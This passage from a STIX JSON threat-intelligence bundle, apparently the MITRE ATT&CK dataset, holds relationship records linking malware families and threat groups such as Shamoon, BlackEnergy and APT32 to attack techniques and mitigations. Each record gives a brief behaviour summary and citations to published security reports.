                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
                }
            ],
            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-16T17:11:22.809Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--af088283-7416-466d-86f3-8b55e6d698d4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--00d7d21b-69d6-4797-88a2-c86f3fc97651",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c",
            "type": "relationship",
            "modified": "2020-02-11T19:06:19.007Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--fe4c0535-7491-4345-a524-11f8434e3678",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) collects various information via WMI requests, including CPU information in the Win32_Processor entry (Processor ID, Name, Manufacturer and the clock speed).(Citation: Talos GravityRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2019-04-24T23:21:59.169Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d16d59aa-f056-4cc7-9f67-0e80db9cdacb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) bypassed User Access Control (UAC).(Citation: Cymmetria Patchwork)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cymmetria Patchwork",
                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
                    "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2019-07-11T13:53:05.860Z",
            "created": "2017-05-31T21:33:27.075Z"
        },
        {
            "id": "relationship--5ef1c7d8-70bc-4634-b705-644f4d1db3b0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hydraq](https://attack.mitre.org/software/S0203) uses basic obfuscation in the form of spaghetti code.(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                },
                {
                    "source_name": "Symantec Trojan.Hydraq Jan 2010",
                    "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2021-01-06T19:32:28.687Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--f6915cfa-4c11-4830-bcd8-aa648596b895",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) digitally signed an executable with a stolen certificate from legitimate company AI Squared.(Citation: ClearSky Wilted Tulip July 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "source_name": "ClearSky Wilted Tulip July 2017"
                }
            ],
            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "relationship",
            "modified": "2019-05-03T16:42:19.225Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--fe86edf0-d69f-48bc-bdb7-7fd8a8dbcb82",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) created a shortcut in the Windows startup folder to launch a PowerShell script each time the user logs in to establish persistence.(Citation: Unit 42 DarkHydrus July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                }
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-04-24T23:55:43.337Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1ba38510-0489-4305-944f-451e6869b30f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) encrypts C2 data with a ROR by 3 and an XOR by 0x23.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-16T15:59:20.450Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9c593e55-8c4d-4705-9e8b-ac83962973df",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can enable/disable RDP connection and can start a remote desktop session using a browser web socket client.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "type": "relationship",
            "modified": "2019-04-24T17:52:47.818Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3c630128-27ba-4c71-b09a-c9ac39e7acac",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) creates a new service named \u201cntssrv\u201d that attempts to appear legitimate; the service's display name is \u201cMicrosoft Network Realtime Inspection Service\u201d and its description is \u201cHelps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols.\u201d Newer versions create the \"MaintenaceSrv\" service, which misspells the word \"maintenance.\"(Citation: Palo Alto Shamoon Nov 2016)(Citation: McAfee Shamoon December 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "source_name": "Palo Alto Shamoon Nov 2016"
                },
                {
                    "source_name": "McAfee Shamoon December 2018",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/",
                    "description": "Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."
                }
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "type": "relationship",
            "modified": "2020-05-29T18:11:23.516Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f2d1bf8c-6541-40af-8c84-48c7570fb50b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of writing to a Registry Run key to establish.(Citation: CyberBit Early Bird Apr 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/",
                    "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.",
                    "source_name": "CyberBit Early Bird Apr 2018"
                }
            ],
            "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-05-14T19:15:24.361Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c354d751-4688-49c5-9f9a-0d2bc705f645",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "description": "(Citation: SecureWorks BRONZE UNION June 2017)",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.482Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f9841bd6-ec35-423f-8b47-3f215fda197a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[yty](https://attack.mitre.org/software/S0248) runs <code>ipconfig /all</code> and collects the domain name.(Citation: ASERT Donot March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/",
                    "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.",
                    "source_name": "ASERT Donot March 2018"
                }
            ],
            "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-04-25T00:09:23.169Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f3bbff8f-5f4b-40aa-a55f-e3880a582868",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[KOMPROGO](https://attack.mitre.org/software/S0156) is capable of creating a reverse shell.(Citation: FireEye APT32 May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                }
            ],
            "source_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:12:29.707Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f1456e13-5f3f-4dac-a002-2bd78c36348a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "external_references": [
                {
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "source_name": "Forcepoint Monsoon"
                },
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
                }
            ],
            "description": "(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)",
            "type": "relationship",
            "modified": "2019-07-11T13:53:06.123Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--84e0c62b-b1a6-4ecd-8607-f0b516cb48f6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) tries to add a scheduled task to establish persistence.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                },
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-06-16T20:51:13.735Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a76e4748-2cef-4ee6-96a3-53ee227f0333",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of stealing usernames and passwords from browsers on the victim machine.(Citation: Forcepoint Monsoon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "type": "relationship",
            "modified": "2020-03-20T00:23:02.194Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--73fe447a-8d70-433f-be9a-5af74934a662",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) can gather the victim computer name.(Citation: FireEye APT32 May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1"
        },
        {
            "id": "relationship--dcc2c503-25dc-47bb-b9cb-35ce27e73cd2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CORESHELL](https://attack.mitre.org/software/S0137) has established persistence by creating autostart extensibility point (ASEP) Registry entries in the Run key and other Registry keys, as well as by creating shortcuts in the Internet Explorer Quick Start folder.(Citation: Microsoft SIR Vol 19)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf",
                    "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.",
                    "source_name": "Microsoft SIR Vol 19"
                }
            ],
            "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T00:47:59.899Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f39d9e4d-b4f9-4c12-aa8e-a44f8550b57f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) can retrieve an additional payload from its C2 server.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018) [JHUHUGIT](https://attack.mitre.org/software/S0044) has a command to download files to the victim\u2019s machine.(Citation: Talos Seduploader Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.",
                    "source_name": "ESET Sednit Part 1"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/",
                    "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 Sofacy Feb 2018"
                },
                {
                    "source_name": "Talos Seduploader Oct 2017",
                    "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html",
                    "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018."
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-20T16:40:41.191Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--47e4d006-2685-4628-a46b-f6d9066f3585",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has conducted port scans on a host.(Citation: Securelist BlackEnergy Nov 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist BlackEnergy Nov 2014",
                    "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                }
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "type": "relationship",
            "modified": "2019-06-24T17:08:51.713Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--93f1726f-f172-4705-a13a-d5adaeb4e91b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has added JavaScript to victim websites to download additional frameworks that profile and compromise website visitors.(Citation: Volexity OceanLotus Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity OceanLotus Nov 2017",
                    "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-06-19T20:04:12.448Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--6b2cd244-a02f-4b76-85d9-a429a298f016",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used WMI for persistence.(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.291Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--c9dca829-6417-4121-9462-650ac852b8c2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [BlackEnergy](https://attack.mitre.org/software/S0089) component KillDisk is capable of deleting Windows Event Logs.(Citation: ESEST Black Energy Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESEST Black Energy Jan 2016",
                    "description": "Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"
                }
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
            "type": "relationship",
            "modified": "2020-02-18T03:40:11.699Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d7c40b1d-efe6-4869-9754-6494d45f51f1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hikit](https://attack.mitre.org/software/S0009) supports peer connections.(Citation: Novetta-Axiom)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Novetta-Axiom",
                    "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.",
                    "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"
                }
            ],
            "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755",
            "type": "relationship",
            "modified": "2020-03-20T21:56:52.374Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--279654f5-dece-48db-bc9a-93242b62433c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADCALL](https://attack.mitre.org/software/S0245) disables the Windows firewall before binding to a port.(Citation: US-CERT BADCALL)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT BADCALL",
                    "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF"
                }
            ],
            "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "type": "relationship",
            "modified": "2020-03-28T00:32:51.220Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--56c41e3f-3d8f-4f36-9885-955952e700db",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) creates a new service named WmiApSrvEx to establish persistence.(Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32"
        },
        {
            "id": "relationship--01b924d7-42dd-412f-a9af-cabcb46512ea",
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            "object_marking_refs": [
